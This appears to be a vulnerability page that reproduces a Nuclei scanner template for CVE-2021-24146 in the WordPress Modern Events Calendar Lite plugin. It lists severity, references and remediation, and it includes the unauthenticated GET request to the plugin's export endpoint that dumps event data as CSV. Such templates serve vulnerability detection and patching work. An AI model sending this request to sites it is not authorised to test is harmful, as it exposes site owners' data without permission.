CVE-2021-24146: WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure

2025-08-01 WordPress Modern Events Calendar Lite PoC Public

Description

WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.

PoC

id: CVE-2021-24146

info:
  name: WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure
  author: random_robbie
  severity: high
  description: WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or database contents.
  remediation: |
    Update to the latest version of the Modern Events Calendar Lite plugin (5.16.5 or higher) to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc
    - http://packetstormsecurity.com/files/163345/WordPress-Modern-Events-Calendar-5.16.2-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24146
    - https://github.com/Hacker5preme/Exploits
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24146
    cwe-id: CWE-862,CWE-284
    epss-score: 0.31043
    epss-percentile: 0.9817
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: cve,cve2021,wpscan,packetstorm,wordpress,wp-plugin,webnus,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "mec-events"
          - "text/csv"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b82a04d7c1f423bdfa47a0a4a1e1ff28f617ffb044f747f863a0ad3a4af0ee8d02207beca6dbef2e75f02d329936325a805d831c86d28990306690bfb7bcc6bdefb8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24146.yaml

References

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